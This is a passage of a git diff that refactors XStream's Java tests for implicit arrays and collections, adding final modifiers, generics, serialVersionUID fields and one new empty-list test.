Animal("Sheep"); @@ -559,29 +502,29 @@ public void testWithHiddenArrayAndDifferentAlias() { area.animals[0] = new Animal("Falcon"); area.animals[1] = new Animal("Sparrow"); - String expected = "" + - "\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " \n" + - " Falcon\n" + - " \n" + - " \n" + - " Sparrow\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " \n" + + " Falcon\n" + + " \n" + + " \n" + + " Sparrow\n" + + " \n" + + ""; xstream.addImplicitArray(Farm.class, "animals", "domesticated"); xstream.addImplicitArray(Area.class, "animals", "wild"); assertBothWays(area, expected); } - + public void testDoesNotInheritFromHiddenArrayOfSuperclass() { - Area area = new Area(); + final Area area = new Area(); ((Farm)area).animals = new Animal[2]; ((Farm)area).animals[0] = new Animal("Cow"); ((Farm)area).animals[1] = new Animal("Sheep"); @@ -589,30 +532,30 @@ public void testDoesNotInheritFromHiddenArrayOfSuperclass() { area.animals[0] = new Animal("Falcon"); area.animals[1] = new Animal("Sparrow"); - String expected = "" + - "\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " \n" + - " \n" + - " Falcon\n" + - " \n" + - " \n" + - " Sparrow\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " \n" + + " \n" + + " Falcon\n" + + " \n" + + " \n" + + " Sparrow\n" + + " \n" + + " \n" + + ""; xstream.addImplicitArray(Farm.class, "animals"); assertBothWays(area, expected); } - + public void testDoesNotPropagateToHiddenArrayOfSuperclass() { - Area area = new Area(); + final Area area = new Area(); ((Farm)area).animals = new Animal[2]; ((Farm)area).animals[0] = new Animal("Cow"); ((Farm)area).animals[1] = new Animal("Sheep"); @@ -620,37 +563,40 @@ public void testDoesNotPropagateToHiddenArrayOfSuperclass() { area.animals[0] = new Animal("Falcon"); area.animals[1] = new Animal("Sparrow"); - String expected = "" + - "\n" + - " \n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " \n" + - " \n" + - " Falcon\n" + - " \n" + - " \n" + - " Sparrow\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " \n" + + " \n" + + " Falcon\n" + + " \n" + + " \n" + + " Sparrow\n" + + " \n" + + ""; xstream.addImplicitArray(Area.class, "animals"); assertBothWays(area, expected); } - + public static class County extends Area { + private static final long serialVersionUID = 201509L; } - + public static class Country extends County { + private static final long serialVersionUID = 201509L; + @SuppressWarnings("hiding") Animal[] animals; } - + public void testWithDoubleHiddenArray() { - Country country = new Country(); + final Country country = new Country(); ((Farm)country).animals = new Animal[2]; ((Farm)country).animals[0] = new Animal("Cow"); ((Farm)country).animals[1] = new Animal("Sheep"); @@ -661,27 +607,27 @@ public void testWithDoubleHiddenArray() { country.animals[0] = new Animal("Wale"); country.animals[1] = new Animal("Dolphin"); - String expected = "" + - "\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " \n" + - " Falcon\n" + - " \n" + - " \n" + - " Sparrow\n" + - " \n" + - " \n" + - " Wale\n" + - " \n" + - " \n" + - " Dolphin\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " \n" + + " Falcon\n" + + " \n" + + " \n" + + " Sparrow\n" + + " \n" + + " \n" + + " Wale\n" + + " \n" + + " \n" + + " Dolphin\n" + + " \n" + + ""; xstream.addImplicitArray(Farm.class, "animals"); xstream.addImplicitArray(Area.class, "animals"); @@ -690,63 +636,62 @@ public void testWithDoubleHiddenArray() { } public static class Dog extends Animal { - public Dog(String name) { + private static final long serialVersionUID = 201703L; + + public Dog(final String name) { super(name); } } public static class Cat extends Animal { - public Cat(String name) { + private static final long serialVersionUID = 201703L; + + public Cat(final String name) { super(name); } } public void testCollectsDifferentTypesWithFieldOfSameName() { - Farm farm = new Farm(); - farm.animals = new Animal[] { - new Dog("Lessie"), - new Cat("Garfield"), - new Cat("Felix"), - new Dog("Cujo"), - new Cat("Bob") - }; - - String expected = "" + - "\n" + - " \n" + - " Lessie\n" + - " \n" + - " \n" + - " Garfield\n" + - " \n" + - " \n" + - " Felix\n" + - " \n" + - " \n" + - " Cujo\n" + - " \n" + - " \n" + - " Bob\n" + - " \n" + - ""; + final Farm farm = new Farm(); + farm.animals = new Animal[]{ + new Dog("Lessie"), new Cat("Garfield"), new Cat("Felix"), new Dog("Cujo"), new Cat("Bob")}; + + final String expected = "" + + "\n" + + " \n" + + " Lessie\n" + + " \n" + + " \n" + + " Garfield\n" + + " \n" + + " \n" + + " Felix\n" + + " \n" + + " \n" + + " Cujo\n" + + " \n" + + " \n" + + " Bob\n" + + " \n" + + ""; xstream.addImplicitCollection(Farm.class, "animals"); assertBothWays(farm, expected); } static class PrimitiveArray { - int[] ints; + int[] ints; }; public void testWithPrimitiveArray() { - PrimitiveArray pa = new PrimitiveArray(); - pa.ints = new int[]{ 47, 11 }; + final PrimitiveArray pa = new PrimitiveArray(); + pa.ints = new int[]{47, 11}; - String expected = "" + - "\n" + - " 47\n" + - " 11\n" + - ""; + final String expected = "" // + + "\n" + + " 47\n" + + " 11\n" + + ""; xstream.alias("primitives", PrimitiveArray.class); xstream.addImplicitArray(PrimitiveArray.class, "ints"); @@ -754,30 +699,27 @@ public void testWithPrimitiveArray() { } static class MultiDimenstionalArrays { - Object[][] multiObject; - String[][] multiString; - int[][] multiInt; + Object[][] multiObject; + String[][] multiString; + int[][] multiInt; }; public void testMultiDimensionalDirectArray() { - MultiDimenstionalArrays multiDim = new MultiDimenstionalArrays(); - multiDim.multiString = new String[][]{ - new String[]{ "1", "2" }, - new String[]{ "a", "b", "c" } - }; - - String expected = "" + - "\n" + - " \n" + - " 1\n" + - " 2\n" + - " \n" + - " \n" + - " a\n" + - " b\n" + - " c\n" + - " \n" + - ""; + final MultiDimenstionalArrays multiDim = new MultiDimenstionalArrays(); + multiDim.multiString = new String[][]{new String[]{"1", "2"}, new String[]{"a", "b", "c"}}; + + final String expected = "" + + "\n" + + " \n" + + " 1\n" + + " 2\n" + + " \n" + + " \n" + + " a\n" + + " b\n" + + " c\n" + + " \n" + + ""; xstream.alias("N", MultiDimenstionalArrays.class); xstream.addImplicitArray(MultiDimenstionalArrays.class, "multiString"); @@ -785,24 +727,21 @@ public void testMultiDimensionalDirectArray() { } public void testMultiDimensionalPrimitiveArray() { - MultiDimenstionalArrays multiDim = new MultiDimenstionalArrays(); - multiDim.multiInt = new int[][]{ - new int[]{ 1, 2 }, - new int[]{ 0, -1, -2 } - }; - - String expected = "" + - "\n" + - " \n" + - " 1\n" + - " 2\n" + - " \n" + - " \n" + - " 0\n" + - " -1\n" + - " -2\n" + - " \n" + - ""; + final MultiDimenstionalArrays multiDim = new MultiDimenstionalArrays(); + multiDim.multiInt = new int[][]{new int[]{1, 2}, new int[]{0, -1, -2}}; + + final String expected = "" + + "\n" + + " \n" + + " 1\n" + + " 2\n" + + " \n" + + " \n" + + " 0\n" + + " -1\n" + + " -2\n" + + " \n" + + ""; xstream.alias("N", MultiDimenstionalArrays.class); xstream.addImplicitArray(MultiDimenstionalArrays.class, "multiInt"); @@ -810,22 +749,19 @@ public void testMultiDimensionalPrimitiveArray() { } public void testMultiDimensionalArrayWithAlias() { - MultiDimenstionalArrays multiDim = new MultiDimenstionalArrays(); - multiDim.multiObject = new Object[][]{ - new String[]{ "1" }, - new Object[]{ "a", Boolean.FALSE } - }; - - String expected = "" + - "\n" + - " \n" + - " 1\n" + - " \n" + - " \n" + - " a\n" + - " false\n" + - " \n" + - ""; + final MultiDimenstionalArrays multiDim = new MultiDimenstionalArrays(); + multiDim.multiObject = new Object[][]{new String[]{"1"}, new Object[]{"a", Boolean.FALSE}}; + + final String expected = "" + + "\n" + + " \n" + + " 1\n" + + " \n" + + " \n" + + " a\n" + + " false\n" + + " \n" + + ""; xstream.alias("N", MultiDimenstionalArrays.class); xstream.addImplicitArray(MultiDimenstionalArrays.class, "multiObject", "M"); diff --git a/xstream/src/test/com/thoughtworks/acceptance/ImplicitCollectionTest.java b/xstream/src/test/com/thoughtworks/acceptance/ImplicitCollectionTest.java index fd7400ba7..2902c41a8 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/ImplicitCollectionTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/ImplicitCollectionTest.java @@ -1,19 +1,16 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2012, 2013, 2014, 2015, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2012, 2013, 2014, 2015, 2017, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 14. August 2004 by Joe Walnes */ package com.thoughtworks.acceptance; -import com.thoughtworks.acceptance.objects.StandardObject; -import com.thoughtworks.xstream.InitializationException; - import java.util.ArrayList; import java.util.Collections; import java.util.HashSet; @@ -22,33 +19,36 @@ import java.util.Set; import java.util.TreeSet; +import com.thoughtworks.acceptance.objects.StandardObject; +import com.thoughtworks.xstream.InitializationException; + + public class ImplicitCollectionTest extends AbstractAcceptanceTest { public static class Farm extends StandardObject { + private static final long serialVersionUID = 200408L; int size; - List animals = new ArrayList(); + List animals = new ArrayList<>(); - public Farm(int size) { + public Farm(final int size) { this.size = size; } - public void add(Animal animal) { + public void add(final Animal animal) { animals.add(animal); } } - public static class Animal extends StandardObject implements Comparable { + public static class Animal extends StandardObject { + private static final long serialVersionUID = 200408L; String name; - public Animal(String name) { + public Animal(final String name) { this.name = name; } - - public int compareTo(Object o) { - return name.compareTo(((Animal)o).name); - } } + @Override protected void setUp() throws Exception { super.setUp(); xstream.alias("zoo", Zoo.class); @@ -65,80 +65,82 @@ protected void setUp() throws Exception { } public void testWithout() { - Farm farm = new Farm(100); + final Farm farm = new Farm(100); farm.add(new Animal("Cow")); farm.add(new Animal("Sheep")); - String expected = "" + - "\n" + - " 100\n" + - " \n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " 100\n" + + " \n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " \n" + + ""; assertBothWays(farm, expected); } public void testWithList() { - Farm farm = new Farm(100); + final Farm farm = new Farm(100); farm.add(new Animal("Cow")); farm.add(new Animal("Sheep")); - String expected = "" + - "\n" + - " 100\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " 100\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + ""; xstream.addImplicitCollection(Farm.class, "animals"); assertBothWays(farm, expected); } public void testWithReferencedImplicitElement() { - List list = new ArrayList(); - Animal cow = new Animal("Cow"); - Animal sheep = new Animal("Sheep"); - Farm farm = new Farm(100); + final List list = new ArrayList<>(); + final Animal cow = new Animal("Cow"); + final Animal sheep = new Animal("Sheep"); + final Farm farm = new Farm(100); farm.add(cow); farm.add(sheep); list.add(cow); list.add(farm); list.add(sheep); - String expected = "" + - "\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " 100\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " 100\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " \n" + + " \n" + + ""; xstream.addImplicitCollection(Farm.class, "animals"); assertBothWays(list, expected); } public static class MegaFarm extends Farm { + private static final long serialVersionUID = 200809L; String separator = "---"; - List names; - public MegaFarm(int size) { + List names; + + public MegaFarm(final int size) { super(size); } } @@ -146,21 +148,21 @@ public MegaFarm(int size) { public void testInheritsImplicitCollectionFromSuperclass() { xstream.alias("MEGA-farm", MegaFarm.class); - Farm farm = new MegaFarm(100); // subclass + final Farm farm = new MegaFarm(100); // subclass farm.add(new Animal("Cow")); farm.add(new Animal("Sheep")); - String expected = "" + - "\n" + - " 100\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " ---\n" + - ""; + final String expected = "" + + "\n" + + " 100\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " ---\n" + + ""; xstream.addImplicitCollection(Farm.class, "animals"); assertBothWays(farm, expected); @@ -169,26 +171,26 @@ public void testInheritsImplicitCollectionFromSuperclass() { public void testSupportsInheritedAndDirectDeclaredImplicitCollectionAtOnce() { xstream.alias("MEGA-farm", MegaFarm.class); - MegaFarm farm = new MegaFarm(100); // subclass + final MegaFarm farm = new MegaFarm(100); // subclass farm.add(new Animal("Cow")); farm.add(new Animal("Sheep")); - farm.names = new ArrayList(); + farm.names = new ArrayList<>(); farm.names.add("McDonald"); farm.names.add("Ponte Rosa"); - - String expected = "" + - "\n" + - " 100\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " ---\n" + - " McDonald\n" + - " Ponte Rosa\n" + - ""; + + final String expected = "" + + "\n" + + " 100\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " ---\n" + + " McDonald\n" + + " Ponte Rosa\n" + + ""; xstream.addImplicitCollection(Farm.class, "animals"); xstream.addImplicitCollection(MegaFarm.class, "names", "name", String.class); @@ -198,26 +200,26 @@ public void testSupportsInheritedAndDirectDeclaredImplicitCollectionAtOnce() { public void testInheritedAndDirectDeclaredImplicitCollectionAtOnceIsNotDeclarationSequenceDependent() { xstream.alias("MEGA-farm", MegaFarm.class); - MegaFarm farm = new MegaFarm(100); // subclass + final MegaFarm farm = new MegaFarm(100); // subclass farm.add(new Animal("Cow")); farm.add(new Animal("Sheep")); - farm.names = new ArrayList(); + farm.names = new ArrayList<>(); farm.names.add("McDonald"); farm.names.add("Ponte Rosa"); - - String expected = "" + - "\n" + - " 100\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " ---\n" + - " McDonald\n" + - " Ponte Rosa\n" + - ""; + + final String expected = "" + + "\n" + + " 100\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " ---\n" + + " McDonald\n" + + " Ponte Rosa\n" + + ""; xstream.addImplicitCollection(MegaFarm.class, "names", "name", String.class); xstream.addImplicitCollection(Farm.class, "animals"); @@ -227,21 +229,21 @@ public void testInheritedAndDirectDeclaredImplicitCollectionAtOnceIsNotDeclarati public void testAllowsSubclassToOverrideImplicitCollectionInSuperclass() { xstream.alias("MEGA-farm", MegaFarm.class); - Farm farm = new MegaFarm(100); // subclass + final Farm farm = new MegaFarm(100); // subclass farm.add(new Animal("Cow")); farm.add(new Animal("Sheep")); - String expected = "" + - "\n" + - " 100\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " ---\n" + - ""; + final String expected = "" + + "\n" + + " 100\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " ---\n" + + ""; xstream.addImplicitCollection(MegaFarm.class, "animals"); assertBothWays(farm, expected); @@ -250,43 +252,43 @@ public void testAllowsSubclassToOverrideImplicitCollectionInSuperclass() { public void testAllowDifferentImplicitCollectionDefinitionsInSubclass() { xstream.alias("MEGA-farm", MegaFarm.class); - Farm farm = new Farm(10); + final Farm farm = new Farm(10); farm.add(new Animal("Cod")); farm.add(new Animal("Salmon")); - MegaFarm megaFarm = new MegaFarm(100); // subclass + final MegaFarm megaFarm = new MegaFarm(100); // subclass megaFarm.add(new Animal("Cow")); megaFarm.add(new Animal("Sheep")); - megaFarm.names = new ArrayList(); + megaFarm.names = new ArrayList<>(); megaFarm.names.add("McDonald"); megaFarm.names.add("Ponte Rosa"); - - List list = new ArrayList(); + + final List list = new ArrayList<>(); list.add(farm); list.add(megaFarm); - String expected = "" + - "\n" + - " \n" + - " 10\n" + - " \n" + - " Cod\n" + - " \n" + - " \n" + - " Salmon\n" + - " \n" + - " \n" + - " \n" + - " 100\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " ---\n" + - " McDonald\n" + - " Ponte Rosa\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " 10\n" + + " \n" + + " Cod\n" + + " \n" + + " \n" + + " Salmon\n" + + " \n" + + " \n" + + " \n" + + " 100\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " ---\n" + + " McDonald\n" + + " Ponte Rosa\n" + + " \n" + + ""; xstream.addImplicitCollection(Farm.class, "animals", "fish", Animal.class); xstream.addImplicitCollection(MegaFarm.class, "animals"); @@ -295,169 +297,191 @@ public void testAllowDifferentImplicitCollectionDefinitionsInSubclass() { } public static class House extends StandardObject { - private List rooms = new ArrayList(); - private String separator = "---"; - private List people = new ArrayList(); + private static final long serialVersionUID = 200408L; + private List rooms = new ArrayList<>(); + @SuppressWarnings("unused") + private final String separator = "---"; + private List people = new ArrayList<>(); - public void add(Room room) { + public void add(final Room room) { rooms.add(room); } - public void add(Person person) { + public void add(final Person person) { people.add(person); } - - public List getPeople() { + + public List getPeople() { return Collections.unmodifiableList(people); } - - public List getRooms() { + + public List getRooms() { return Collections.unmodifiableList(rooms); } } public static class Room extends StandardObject { - private String name; + private static final long serialVersionUID = 200408L; + final String name; - public Room(String name) { + public Room(final String name) { this.name = name; } } public static class Person extends StandardObject { - private String name; - private LinkedList emailAddresses = new LinkedList(); + private static final long serialVersionUID = 200408L; + final String name; + final LinkedList emailAddresses = new LinkedList<>(); - public Person(String name) { + public Person(final String name) { this.name = name; } - public void addEmailAddress(String email) { + public void addEmailAddress(final String email) { emailAddresses.add(email); } } public void testDefaultCollectionBasedOnType() { - House house = new House(); + final House house = new House(); house.add(new Room("kitchen")); house.add(new Room("bathroom")); - Person joe = new Person("joe"); + final Person joe = new Person("joe"); joe.addEmailAddress("joe@house.org"); joe.addEmailAddress("joe.farmer@house.org"); house.add(joe); - Person jaimie = new Person("jaimie"); + final Person jaimie = new Person("jaimie"); jaimie.addEmailAddress("jaimie@house.org"); jaimie.addEmailAddress("jaimie.farmer@house.org"); jaimie.addEmailAddress("jaimie.ann.farmer@house.org"); house.add(jaimie); - String expected = "" - + "\n" - + " \n" - + " kitchen\n" - + " \n" - + " \n" - + " bathroom\n" - + " \n" - + " ---\n" - + " \n" - + " joe\n" - + " joe@house.org\n" - + " joe.farmer@house.org\n" - + " \n" - + " \n" - + " jaimie\n" - + " jaimie@house.org\n" - + " jaimie.farmer@house.org\n" - + " jaimie.ann.farmer@house.org\n" - + " \n" - + ""; + final String expected = "" + + "\n" + + " \n" + + " kitchen\n" + + " \n" + + " \n" + + " bathroom\n" + + " \n" + + " ---\n" + + " \n" + + " joe\n" + + " joe@house.org\n" + + " joe.farmer@house.org\n" + + " \n" + + " \n" + + " jaimie\n" + + " jaimie@house.org\n" + + " jaimie.farmer@house.org\n" + + " jaimie.ann.farmer@house.org\n" + + " \n" + + ""; xstream.addImplicitCollection(House.class, "rooms", Room.class); xstream.addImplicitCollection(House.class, "people", Person.class); xstream.addImplicitCollection(Person.class, "emailAddresses", "email", String.class); - House serializedHouse = (House)assertBothWays(house, expected); + final House serializedHouse = assertBothWays(house, expected); assertEquals(house.getPeople(), serializedHouse.getPeople()); assertEquals(house.getRooms(), serializedHouse.getRooms()); } + @SuppressWarnings("unchecked") public void testWithEMPTY_LIST() { - House house = new House(); + final House house = new House(); house.people = Collections.EMPTY_LIST; house.rooms = Collections.EMPTY_LIST; xstream.addImplicitCollection(House.class, "rooms", Room.class); xstream.addImplicitCollection(House.class, "people", Person.class); - String expected = "" - + "\n" - + " ---\n" - + ""; + final String expected = "" // + + "\n" + + " ---\n" + + ""; + assertEquals(expected, xstream.toXML(house)); + } + + public void testWithEmptyList() { + final House house = new House(); + house.people = Collections.emptyList(); + house.rooms = Collections.emptyList(); + xstream.addImplicitCollection(House.class, "rooms", Room.class); + xstream.addImplicitCollection(House.class, "people", Person.class); + final String expected = "" // + + "\n" + + " ---\n" + + ""; assertEquals(expected, xstream.toXML(house)); } public static class Zoo extends StandardObject { - private Set animals; + private static final long serialVersionUID = 200602L; + private final Set animals; + public Zoo() { - this(new HashSet()); + this(new HashSet()); } - public Zoo(Set set) { + + public Zoo(final Set set) { animals = set; } - public void add(Animal animal) { + + public void add(final Animal animal) { animals.add(animal); } } public void testWithSet() { - Zoo zoo = new Zoo(); + final Zoo zoo = new Zoo(); zoo.add(new Animal("Lion")); zoo.add(new Animal("Ape")); - String expected = "" + - "\n" + - " \n" + - " Lion\n" + - " \n" + - " \n" + - " Ape\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Lion\n" + + " \n" + + " \n" + + " Ape\n" + + " \n" + + ""; xstream.addImplicitCollection(Zoo.class, "animals"); assertBothWaysNormalized(zoo, expected, "zoo", "animal", "name"); } public void testWithDifferentDefaultImplementation() { - String xml = "" + - "\n" + - " \n" + - " Lion\n" + - " \n" + - " \n" + - " Ape\n" + - " \n" + - ""; + final String xml = "" + + "\n" + + " \n" + + " Lion\n" + + " \n" + + " \n" + + " Ape\n" + + " \n" + + ""; xstream.addImplicitCollection(Zoo.class, "animals"); xstream.addDefaultImplementation(TreeSet.class, Set.class); - Zoo zoo = (Zoo)xstream.fromXML(xml); + final Zoo zoo = xstream.fromXML(xml); assertTrue("Collection was a " + zoo.animals.getClass().getName(), zoo.animals instanceof TreeSet); } public void testWithSortedSet() { - Zoo zoo = new Zoo(new TreeSet()); + final Zoo zoo = new Zoo(new TreeSet()); zoo.add(new Animal("Lion")); zoo.add(new Animal("Ape")); - String expected = "" + - "\n" + - " \n" + - " Ape\n" + - " \n" + - " \n" + - " Lion\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Ape\n" + + " \n" + + " \n" + + " Lion\n" + + " \n" + + ""; xstream.addImplicitCollection(Zoo.class, "animals"); xstream.addDefaultImplementation(TreeSet.class, Set.class); @@ -465,51 +489,52 @@ public void testWithSortedSet() { } public static class Aquarium extends StandardObject { - private String name; - private List fish = new ArrayList(); + private static final long serialVersionUID = 200604L; + final String name; + final List fish = new ArrayList<>(); - public Aquarium(String name) { + public Aquarium(final String name) { this.name = name; } - public void addFish(String fish) { + public void addFish(final String fish) { this.fish.add(fish); } } public void testWithExplicitItemNameMatchingTheNameOfTheFieldWithTheCollection() { - Aquarium aquarium = new Aquarium("hatchery"); + final Aquarium aquarium = new Aquarium("hatchery"); aquarium.addFish("salmon"); aquarium.addFish("halibut"); aquarium.addFish("snapper"); - String expected = "" + - "\n" + - " hatchery\n" + - " salmon\n" + - " halibut\n" + - " snapper\n" + - ""; + final String expected = "" + + "\n" + + " hatchery\n" + + " salmon\n" + + " halibut\n" + + " snapper\n" + + ""; xstream.alias("aquarium", Aquarium.class); xstream.addImplicitCollection(Aquarium.class, "fish", "fish", String.class); assertBothWays(aquarium, expected); } - + public void testWithImplicitNameMatchingTheNameOfTheFieldWithTheCollection() { - Aquarium aquarium = new Aquarium("hatchery"); + final Aquarium aquarium = new Aquarium("hatchery"); aquarium.addFish("salmon"); aquarium.addFish("halibut"); aquarium.addFish("snapper"); - String expected = "" + - "\n" + - " hatchery\n" + - " salmon\n" + - " halibut\n" + - " snapper\n" + - ""; + final String expected = "" + + "\n" + + " hatchery\n" + + " salmon\n" + + " halibut\n" + + " snapper\n" + + ""; xstream.alias("aquarium", Aquarium.class); xstream.alias("fish", String.class); @@ -517,20 +542,20 @@ public void testWithImplicitNameMatchingTheNameOfTheFieldWithTheCollection() { assertBothWays(aquarium, expected); } - + public void testWithAliasedItemNameMatchingTheAliasedNameOfTheFieldWithTheCollection() { - Aquarium aquarium = new Aquarium("hatchery"); + final Aquarium aquarium = new Aquarium("hatchery"); aquarium.addFish("salmon"); aquarium.addFish("halibut"); aquarium.addFish("snapper"); - String expected = "" + - "\n" + - " hatchery\n" + - " salmon\n" + - " halibut\n" + - " snapper\n" + - ""; + final String expected = "" + + "\n" + + " hatchery\n" + + " salmon\n" + + " halibut\n" + + " snapper\n" + + ""; xstream.alias("aquarium", Aquarium.class); xstream.aliasField("animal", Aquarium.class, "fish"); @@ -544,187 +569,192 @@ public void testCanBeDeclaredOnlyForMatchingType() { xstream.addImplicitCollection(Animal.class, "name"); fail("Thrown " + InitializationException.class.getName() + " expected"); } catch (final InitializationException e) { - assertTrue(e.getMessage().indexOf("declares no collection") >= 0); + assertTrue(e.getMessage().contains("declares no collection")); } } public void testWithNullElement() { - Farm farm = new Farm(100); + final Farm farm = new Farm(100); farm.add(null); farm.add(new Animal("Cow")); - String expected = "" + - "\n" + - " 100\n" + - " \n" + - " \n" + - " Cow\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " 100\n" + + " \n" + + " \n" + + " Cow\n" + + " \n" + + ""; xstream.addImplicitCollection(Farm.class, "animals"); assertBothWays(farm, expected); } public void testWithAliasAndNullElement() { - Farm farm = new Farm(100); + final Farm farm = new Farm(100); farm.add(null); farm.add(new Animal("Cow")); - String expected = "" + - "\n" + - " 100\n" + - " \n" + - " \n" + - " Cow\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " 100\n" + + " \n" + + " \n" + + " Cow\n" + + " \n" + + ""; xstream.addImplicitCollection(Farm.class, "animals", "beast", Animal.class); assertBothWays(farm, expected); } - + public static class Area extends Farm { + private static final long serialVersionUID = 201509L; - List animals = new ArrayList(); - - public Area(int size) { + @SuppressWarnings("hiding") + List animals = new ArrayList<>(); + + public Area(final int size) { super(size); } - + } - + public void testWithHiddenList() { - Area area = new Area(1000); + final Area area = new Area(1000); area.add(new Animal("Cow")); area.add(new Animal("Sheep")); area.animals.add(new Animal("Falcon")); area.animals.add(new Animal("Sparrow")); - String expected = "" + - "\n" + - " 1000\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " \n" + - " Falcon\n" + - " \n" + - " \n" + - " Sparrow\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " 1000\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " \n" + + " Falcon\n" + + " \n" + + " \n" + + " Sparrow\n" + + " \n" + + ""; xstream.addImplicitCollection(Farm.class, "animals"); xstream.addImplicitCollection(Area.class, "animals"); assertBothWays(area, expected); } - + public void testWithHiddenListAndDifferentAlias() { - Area area = new Area(1000); + final Area area = new Area(1000); area.add(new Animal("Cow")); area.add(new Animal("Sheep")); area.animals.add(new Animal("Falcon")); area.animals.add(new Animal("Sparrow")); - String expected = "" + - "\n" + - " 1000\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " \n" + - " Falcon\n" + - " \n" + - " \n" + - " Sparrow\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " 1000\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " \n" + + " Falcon\n" + + " \n" + + " \n" + + " Sparrow\n" + + " \n" + + ""; xstream.addImplicitCollection(Farm.class, "animals", "domesticated", Animal.class); xstream.addImplicitCollection(Area.class, "animals", "wild", Animal.class); assertBothWays(area, expected); } - + public void testDoesNotInheritFromHiddenListOfSuperclass() { - Area area = new Area(1000); + final Area area = new Area(1000); area.add(new Animal("Cow")); area.add(new Animal("Sheep")); area.animals.add(new Animal("Falcon")); area.animals.add(new Animal("Sparrow")); - String expected = "" + - "\n" + - " 1000\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " \n" + - " \n" + - " Falcon\n" + - " \n" + - " \n" + - " Sparrow\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " 1000\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " \n" + + " \n" + + " Falcon\n" + + " \n" + + " \n" + + " Sparrow\n" + + " \n" + + " \n" + + ""; xstream.addImplicitCollection(Farm.class, "animals"); assertBothWays(area, expected); } - + public void testDoesNotPropagateToHiddenListOfSuperclass() { - Area area = new Area(1000); + final Area area = new Area(1000); area.add(new Animal("Cow")); area.add(new Animal("Sheep")); area.animals.add(new Animal("Falcon")); area.animals.add(new Animal("Sparrow")); - String expected = "" + - "\n" + - " 1000\n" + - " \n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " \n" + - " \n" + - " Falcon\n" + - " \n" + - " \n" + - " Sparrow\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " 1000\n" + + " \n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " \n" + + " \n" + + " Falcon\n" + + " \n" + + " \n" + + " Sparrow\n" + + " \n" + + ""; xstream.addImplicitCollection(Area.class, "animals"); assertBothWays(area, expected); } - + public static class County extends Area { + private static final long serialVersionUID = 201509L; public County() { super(10); } } - + public static class Country extends County { - List animals = new ArrayList(); + private static final long serialVersionUID = 201509L; + @SuppressWarnings("hiding") + List animals = new ArrayList<>(); } - + public void testWithDoubleHiddenList() { - Country country = new Country(); + final Country country = new Country(); country.add(new Animal("Cow")); country.add(new Animal("Sheep")); ((Area)country).animals.add(new Animal("Falcon")); @@ -732,28 